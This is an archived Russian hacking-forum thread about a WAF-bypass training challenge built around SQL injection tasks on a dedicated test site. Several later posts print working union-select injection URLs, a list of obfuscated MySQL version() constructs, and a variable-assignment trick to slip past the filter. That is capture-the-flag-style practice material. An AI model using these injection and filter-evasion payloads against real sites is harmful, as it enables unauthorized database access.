PDA

Просмотр полной версии : WAF-тренировка


BigBear
14.03.2016, 12:23
РЕПУТАЦИЯ ЗА ПЕРВЫЕ 6 ТАСКОВ БОЛЬШЕ НЕ ВЫДАЁТСЯ

Всё просто.

Решаете task-и, высылаете решение в ПМ. Получаете награду.

!!! Full Url-Encode хорош, но варианты с ним я не принимаю. !!!

http://test-me.pp.ru.swtest.ru/

За разглашение решения тасков - накопленная репутация снимается.

Таски будут пополняться.

Котировка:

Task 1 + Task 2 + Task 3 = 1 балл репутации

Task 4 = 2 балла репутации

Task 5 = 3 балла репутации

Task 6 = 3 балла репутации

Статистика:

Task 1 + Task 2 + Task 3 = Очень много

Task 4 = Много

Task 5 = Много

Task 6 = 3 решения (t0ma5 (https://antichat.live/members/189242/), leksadin (https://antichat.live/members/281065/), nekitos911 (https://antichat.live/members/293756/))

DarkCaT
14.03.2016, 14:16
Отправил первых 3 в ЛС.

BigBear
14.03.2016, 14:20
↑ (https://antichat.live/posts/3962995/)
Отправил первых 3 в ЛС.


Зачтено.

На будущее, в этой теме не отписываемся. Пишем в ПМ.

user6334
16.03.2016, 07:16
Что такое ПМ? На память приходит только пистолет Макарова )

user6334
16.03.2016, 07:25
Таск 1 не понял, что значит тремя разными способами? Ответ ведь будет один?

BigBear
16.03.2016, 12:17
ПМ - Private Mail - Личное сообщение - ЛС.

Тремя способами - они все перечислены (Union-Based, Boolean-Based, Time-Based).

Не знаете, что это? Наверное, не стоит и участвовать. Объяснять не буду.

У других участников таких вопросов не возникло, а с каждым сюсюкаться и объяснять - желания нет, простите.

user6334
16.03.2016, 14:50
Да знаю я, что это за способы! ) Мне не понятно, что должно быть в ответе? Версия? Но тогда как вы поймете, что я все 3 способа испробовал?

t0ma5
16.03.2016, 14:55
↑ (https://antichat.live/posts/3963722/)
Да знаю я, что это за способы! ) Мне не понятно, что должно быть в ответе? Версия? Но тогда как вы поймете, что я все 3 способа испробовал?


по запросу на каждый из векторов, для векторов Boolean-Based/Time-Based запрос на получение первого символа версии бд

user6334
16.03.2016, 15:41
Т.е. ответом на 1-е задание являются 3 эксплойт-запроса. 1-й для получения версии, 2-й и 3-й для получения первого символа версии. Верно понял?

t0ma5
16.03.2016, 15:48
↑ (https://antichat.live/posts/3963737/)
Т.е. ответом на 1-е задание являются 3 эксплойт-запроса. 1-й для получения версии, 2-й и 3-й для получения первого символа версии. Верно понял?


да, так и есть

parser
16.03.2016, 16:29
user-agent уж слишком поверхностно чекается

это я к тому что любой кроме slqmap подойдет, а в том-же sqlmap его легко менять

user6334
18.03.2016, 10:12
Статистика будет обновляться?

Шниперсон
18.03.2016, 17:29
↑ (https://antichat.live/posts/3962942/)
Всё просто.
Решаете task-и, высылаете решение в ПМ. Получаете награду.
!!! Full Url-Encode хорош, но варианты с ним я не принимаю. !!!
http://test.test-me.pp.ru/
За разглашение решения тасков - накопленная репутация снимается.
Таски будут пополняться.
Котировка:
Task 1 + Task 2 + Task 3 = 1 балл репутации
Task 4 = 2 балла репутации
Task 5 = 3 балла репутации
Статистика:
Task 1 + Task 2 + Task 3 = Зачтено 7 прохождения
Task 4 = Зачтено 5 прохождений
Task 5 = Зачтено 3 прохождения


Решил 1 задание, не могу отправить тк стоит блок 1 сообщение 1 день, можно его снять ?

user6334
18.03.2016, 22:56
↑ (https://antichat.live/posts/3964463/)
Решил 1 задание, не могу отправить тк стоит блок 1 сообщение 1 день, можно его снять ?


Что тебе дает выполнение 1-го задания? Чтобы получить 1 балл, надо решить первые 3 задания!

Шниперсон
18.03.2016, 23:12
↑ (https://antichat.live/posts/3964589/)
Что тебе дает выполнение 1-го задания? Чтобы получить 1 балл, надо решить первые 3 задания!


таки я и решил 3 первых, а 1 еще 3 раза !!!

user6334
19.03.2016, 08:26
↑ (https://antichat.live/posts/3964595/)
таки я и решил 3 первых, а 1 еще 3 раза !!!


Молодец!

Mister_Bert0ni
27.03.2016, 20:23
Обещал репы добавить...

BigBear
28.03.2016, 01:40
↑ (https://antichat.live/posts/3967509/)
Обещал репы добавить...


Всем всё выставил.

Кому не выставил - пояснил в ПМ.

Проверяйте. Если кто-то сдавал в Телеграмме - пишите. Проверю и выставлю.

Smail
28.03.2016, 12:22
Задания крутые ждём новых!!!

SooLFaa
14.04.2016, 22:46
Отправил все 5

Fezam
16.04.2016, 19:27
Немного не в тему, про 1 задание стало интересно - ради интереса попробовал затестить sqlmap'om - стало интересно, но он вообще ничего не показал =) Руками все нашлось норм. не верно скормил склмапу запросы? Может кто написать верный запрос?

SooLFaa
17.04.2016, 04:43
↑ (https://antichat.live/posts/3974547/)
Немного не в тему, про 1 задание стало интересно - ради интереса попробовал затестить sqlmap'om - стало интересно, но он вообще ничего не показал =) Руками все нашлось норм. не верно скормил скулмапу запросы? Может кто написать верный запрос?


Прямой ответ на вопрос могут засчитать как "разглашение таска", но только что попробовал прогнать через скульмап и у меня всё получилось. Хинт могу дать следующий: Иногда сервер знает откуда идет request.

goodguysoft
28.04.2016, 16:57
Отправил решения первых двух, чтобы проверить, жива ли еще тема. Если да, отправлю, чтобы получить 5, необходимый для доступа на финансовые темы. Я вообще-то не хакер, а разработчик ботов, и здесь для поиска сотрудничества, а не решения пазлов, но, раз уж таковы правила, то ОК.

Octavian
30.04.2016, 13:04
решил первые 4 репа закончилась ?

SooLFaa
30.04.2016, 15:09
↑ (https://antichat.live/posts/3979506/)
решил первые 4 репа закончилась ?


Я все 5 уже хз когда решил. Всё ждем.

goodguysoft
30.04.2016, 16:10
И я отправил для проверки только первые 3 - на 1 очко - и не добавили (моё нынешнее одно очко не оттуда - его я раньше получил). Вероятно, из-за это бюрократии с репутацией которую неясно кто неясно за что дает (и не всегда дает, даже если обещает) форум прийдется бросить, так как есть другие аналогичные, но без этой ерунды. Если форуму не нужны люди, которые делают бабки на этом всем, а нужны те, кто тесты разгадывает, как в школе, то так тому и быть, не вижу смысла переубеждать руководство.

Octavian
30.04.2016, 16:14
↑ (https://antichat.live/posts/3979547/)
И я отправил для проверки только первые 3 - на 1 очко - и не добавили (моё нынешнее одно очко не оттуда - его я раньше получил). Вероятно, из-за это бюрократии с репутацией которую неясно кто неясно за что дает (и не всегда дает, даже если обещает) форум прийдется бросить, так как есть другие аналогичные, но без этой ерунды. Если форуму не нужны люди, которые делают бабки на этом всем, а нужны те, кто тесты разгадывает, как в школе, то так тому и быть, не вижу смысла переубеждать руководство.


Очко

SooLFaa
02.05.2016, 11:27
↑ (https://antichat.live/posts/3979547/)
И я отправил для проверки только первые 3 - на 1 очко - и не добавили (моё нынешнее одно очко не оттуда - его я раньше получил). Вероятно, из-за это бюрократии с репутацией которую неясно кто неясно за что дает (и не всегда дает, даже если обещает) форум прийдется бросить, так как есть другие аналогичные, но без этой ерунды. Если форуму не нужны люди, которые делают бабки на этом всем, а нужны те, кто тесты разгадывает, как в школе, то так тому и быть, не вижу смысла переубеждать руководство.


Я думаю ачат не пострадает если 10 летний мальчик свалит отсюда. Ибо обижаться на весь форум, что кто то один тебе репу не добавил, да и вообще обижаться на это - удел 10 летнего мальчика. А Миша спит, наверное, а как проснется всем всё выставит.

BigBear
04.05.2016, 07:38
Прошу прощения за задержку с репой. До конца дня проверяйте все.

BigBear
04.05.2016, 18:30
UPD. Всем всё выставил. Проверьте на всякий случай.

З.Ы. Статистику удаляю, очень много прошедших.

BigBear
20.11.2016, 14:28
UP ! 6-ое задание. 3 балла репутации!

t0ma5
20.11.2016, 16:50
количество столбцов подобрал, но как обойти фильтр не понятно

BigBear
22.11.2016, 01:54
↑ (https://antichat.live/posts/4015324/)
количество столбцов подобрал, но как обойти фильтр не понятно


Молодец, додумался !!

Поздравляю первого решившего. Чуть-чуть подкорректировал фильтр. Жду финальный вектор и выставлю репу.

Update. Добил. Грац!

BabaDook
23.11.2016, 15:38
Браво тамас!!!

BigBear
23.01.2017, 06:24
Поздравляю leksadin (https://antichat.live/members/281065/), успешно решившего 6-ой таск.

BigBear
29.01.2017, 01:46
Новый участник, успешно решивший все задания - nekitos911 (https://antichat.live/members/293756/)

leksadin
30.01.2017, 18:50
Приношу свои извинения за разглашение ответов на данные таски. С лишением репутации согласно правилам полностью согласен. Впредь обещаю не совершать таких ошибок.

P.S. Бес попутал

SooLFaa
30.01.2017, 20:13
↑ (https://antichat.live/posts/4042391/)
Приношу свои извинения за разглашение ответов на данные таски. С лишением репутации согласно правилам полностью согласен. Впредь обещаю не совершать таких ошибок.
P.S. Бес попутал


Голые ответы - зло. А вот КОГДА ПРОСЯТ можно натолкнуть хинтом. Я уже три недели бьюсь с 6 таском, пока тщетно. А Миша "негодяй" еще и таски удалил.

leksadin
30.01.2017, 20:36
↑ (https://antichat.live/posts/4042436/)
Голые ответы - зло. А вот КОГДА ПРОСЯТ можно натолкнуть хинтом. Я уже три недели бьюсь с 6 таском, пока тщетно. А Миша "негодяй" еще и таски удалил.



я на шестой таск придумал вектор случайно, просто размышляя в автобусе (18 часов езды - всякого надумаешь)

SooLFaa
31.01.2017, 01:17
Урааа вернули. Решать дальше. Миша СПАСИБО.

imildar
04.02.2017, 22:39
version() фильтруется WAFом хостинга?

cMs
17.02.2017, 11:44
Доброго времени суток.

Может,кто подскажет как пробросить в первом задание version().

Синонемы функции блочит.(left,right and etc)

Различные комбинации с обфусикацие тоже.

Через Hexлишь в таблицу добавляет заhex-ое слово.

Ы.З В каком направление капать. Во втором задание все прекрасно проходит.

Ы.Ы.З Может и туплю, но хотелось бы получить хинт.

leksadin
17.02.2017, 18:23
↑ (https://antichat.live/posts/4050094/)
Доброго времени суток.
Может,кто подскажет как пробросить в первом задание version().
Синонемы функции блочит.(left,right and etc)
Различные комбинации с обфусикацие тоже.
Через
Hex
лишь в таблицу добавляет заhex-ое слово.
Ы.З В каком направление капать. Во втором задание все прекрасно проходит.
Ы.Ы.З Может и туплю, но хотелось бы получить хинт.



Странно, это блочит WAF хостинга, а не самого задания...

t0ma5
17.02.2017, 19:36
так и чего waf помучать)?

раз уж репа все равно не выдаётся за таски


http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27union+select+1,2,3,v ersion/**/()%23

cMs
18.02.2017, 00:57
↑ (https://antichat.live/posts/4050306/)
так и чего waf помучать)?
раз уж репа все равно не выдаётся за таски

http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27union+select+1,2,3,v ersion/**/()%23



WAF всеравно это фильтрует.Таким образом с самого начала пытался(кроме %23).Что бы прокинуть саму скуль для первого задания пришлось юзать такую конструкцию:


http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27/*union*/union/*select*/select%201,2,3,4%20--%20

Не знаю, может проблема у меня, но тестовая площадка порой введет себя странно. Запрос вашего ввида у меня вначале не проходил. Я не понимал в чем проблема, но WAF уже тогда блочил union,select и т.п.А через пару дней после уже использования своей конструкции, решил еще разок закинуть простой ввид, который не должен был пахать,он сработал, что удивило меня.

Ы.З Вопрос все еще открыт. (http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27/*union*/union/*select*/select%201,2,3,4%20--%20) Версия так же не заходит.

Ы.Ы.З В третьем и 4, по сути тоже должен быть один запрос с некоторой поравкой на xss, но сама скуля(без внедреняя еще xss),что пашет на 3, не пашет на 4.

Ы.Ы.Ы.З полные ответы думаю стоит стереть после ответа на воп, иначе не будет интереса.

Спасибо за отклик. (http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27/*union*/union/*select*/select%201,2,3,4%20--%20)

SooLFaa
18.02.2017, 01:18
↑ (https://antichat.live/posts/4050306/)
так и чего waf помучать)?
раз уж репа все равно не выдаётся за таски

http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27union+select+1,2,3,v ersion/**/()%23



Всё равно моё мнение не надо вот так сливать таски. Хинтом помочь, да. А открыто постить решение лишает фана проходящих сие таски.

t0ma5
20.02.2017, 22:02
↑ (https://antichat.live/posts/4050431/)
Всё равно моё мнение не надо вот так сливать таски. Хинтом помочь, да. А открыто постить решение лишает фана проходящих сие таски.


ой всё, первый вектор, первого таска

кому интересно ещё валидные конструкции для селекта версии


select version/*!()*/;
select version/*!(*//*!)*/;
select version ();
select version ( );
select version(/*hm*/);

select version
-> (
-> );

select @@version;

select 0+version()+0;

select{MySqL_d_bSeLect/*!version*//*!()*/}/*:D*/;

select version()zzz; /*хмм*/

хехе кстати сейчас waf жестко валит запрос на слове version после словосочетаний union+select, кто раскрутит через union+select )? один рабочий вектор точно есть

cMs
21.02.2017, 02:29
↑ (https://antichat.live/posts/4051408/)
ой всё, первый вектор, первого таска
кому интересно ещё валидные конструкции для селекта версии

select version/*!()*/;
select version/*!(*//*!)*/;
select version ();
select version ( );
select version(/*hm*/);

select version
-> (
-> );

select @@version;

select 0+version()+0;

select{MySqL_d_bSeLect/*!version*//*!()*/}/*:D*/;

select version()zzz; /*хмм*/

хехе кстати сейчас waf жестко валит запрос на слове version после словосочетаний union+select, кто раскрутит через union+select )? один рабочий вектор точно есть


Как раз вопрос в этом и был, как прокинуть version() в union+select.

Само слово подчистую фильтрует, другие функции по типу left(), тоже не проходят(unhex,0x).

Направление подкиньте.

SooLFaa
21.02.2017, 13:17
↑ (https://antichat.live/posts/4051467/)
Как раз вопрос в этом и был, как прокинуть version() в union+select.
Само слово подчистую фильтрует, другие функции по типу left(), тоже не проходят(unhex,0x).
Направление подкиньте.


Комментарии.

t0ma5
21.02.2017, 14:46
↑ (https://antichat.live/posts/4051467/)
Как раз вопрос в этом и был, как прокинуть version() в union+select.
Само слово подчистую фильтрует, другие функции по типу left(), тоже не проходят(unhex,0x).
Направление подкиньте.


юзать переменные


↑ (https://antichat.live/posts/4051564/)
Комментарии.


неа, уже не работает так

SooLFaa
21.02.2017, 14:52
↑ (https://antichat.live/posts/4051601/)
юзать переменные
неа, уже не работает так


Ооо и правда не работает, сам сервак блочит.

cMs
21.02.2017, 19:24
↑ (https://antichat.live/posts/4051601/)
юзать переменные
неа, уже не работает так


@ - блочит

Или создание переменной можно как-то этако?

t0ma5
21.02.2017, 19:30
↑ (https://antichat.live/posts/4051693/)
@ - блочит
Или создание переменной можно как-то этако?


да это был тот вектор.. сегодня утром ещё не блочило, слава админам

cMs
21.02.2017, 19:31
↑ (https://antichat.live/posts/4051695/)
да это был тот вектор.. сегодня утром ещё не блочило, слава админам


Я смотрю тут оперативно чекают форум и правят WAF

t0ma5
21.02.2017, 19:34
↑ (https://antichat.live/posts/4051696/)
Я смотрю тут оперативно чекают форум и правят WAF


хех ладно пусть чекают, валидный вектор


http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27+and+@:=version()uni on+select@,2,3,""%23

cMs
21.02.2017, 19:44
↑ (https://antichat.live/posts/4051697/)
хех ладно пусть чекают, валидный вектор

http://test.test-me.pp.ru/url1/inj_test.php?username=admin%27+and+@:=version()uni on+select@,2,3,""%23



Я думал, как только встречается символ/слово,etc WAF его чекает среди мусора, а вон оно как, просто безымянная переменная+: и он уже съел. И в селекте просто пробел убираем он прилепает, скулька хавает, а WAF не видит. Все больше вникая, в суть данного вида уязвимости, приходишь к выводу,что это защита от протечки с помощью сита.

За ответ спс. Попробую развить данную мысль.

t0ma5
21.02.2017, 19:46
↑ (https://antichat.live/posts/4051704/)
Я думал, как только встречается символ/слово,etc WAF его чекает среди мусора, а вон оно как, просто безымянная переменная+: и он уже съел. И в селекте просто пробел убираем он прилепает, скулька хавает, а WAF не видит. Все больше вникая, в суть данного вида уязвимости, приходишь к выводу,что это защита от протечки с помощью сита.
За ответ спс. Попробую развить данную мысль.


ну waf вынужденная мера, а сито ситу рознь)

просто там регекс видимо такой

union.*select.*(@|version)

собственно да пробел перед переменной и селектором не обязателен, хм ищу альтернативу, пофиксят скоро наверно)

cMs
21.02.2017, 19:53
↑ (https://antichat.live/posts/4051706/)
ну waf вынужденная мера, а сито ситу рознь)
просто там регекс видимо такой
union.*select.*(@|version)
собственно да пробел перед переменной и селектором не обязателен, хм ищу альтернативу, пофиксят скоро наверно)


lol, уже блочит.

t0ma5
21.02.2017, 20:00
↑ (https://antichat.live/posts/4051713/)
lol, уже блочит.


вот ведь -_-

st55
21.02.2017, 20:04
Оперативно, однако. Собаку добавили в фильтр.

t0ma5
21.02.2017, 20:09
хз теперь что делать лочит хардово) даже по "admin%27unionselect@%23"

cMs
21.02.2017, 20:35
↑ (https://antichat.live/posts/4051719/)
хз теперь что делать лочит хардово) даже по "admin%27unionselect@%23"


Будем думать)

BigBear
04.04.2017, 21:06
Включил и чуток поменял домен.

leksadin
05.04.2017, 00:23
↑ (https://antichat.live/posts/4068648/)
Включил и чуток поменял домен.


стандартный вектор попадает под ваф провайдера, если никак не обходить

BigBear
05.04.2017, 01:41
↑ (https://antichat.live/posts/4068745/)
стандартный вектор попадает под ваф провайдера, если никак не обходить


Напиши в ПМ в каком именно таске и как пробовал заюзать, проверю

BigBear
05.04.2017, 02:17
Ваф почти не решаемый. Самое грустное, что это не моя заслуга.

Можете, конечно, помучать, но я буду переносить на хостинг с более слабой защитой.

lolidoli
10.05.2017, 21:36
при вводе данных. провайдер ругает= что небезопасно

http://pixs.ru/showimage/1211JPG_9244045_26140945.jpg

Печа
10.05.2017, 22:09
@lolidoli (https://antichat.live/members/303116/) прочитай пост над твоим постом и всё станет понятно.

Но а в обще дам тебе небольшую рекомендацию, прежде чем писать осмотрись внимательно вокруг, вдруг ответ был где-то рядом,

а то админы здесь строгие и часто бывает раздают бананы за флуд и набитые посты не по делу.

lolidoli
10.05.2017, 22:12
↑ (https://antichat.live/posts/4082839/)
@lolidoli (https://antichat.live/members/303116/)
прочитай пост над твоим постом и всё станет понятно.
Но а в обще дам тебе небольшую рекомендацию, прежде чем писать осмотрись внимательно вокруг, вдруг ответ был где-то рядом,
а то админы здесь строгие и часто бывает раздают бананы за флуд и набитые посты не по делу.


Спасибо, с ними знаком.. И бананы у них уже стухли) Я просто начал игру с нуля Амнезия Ёпт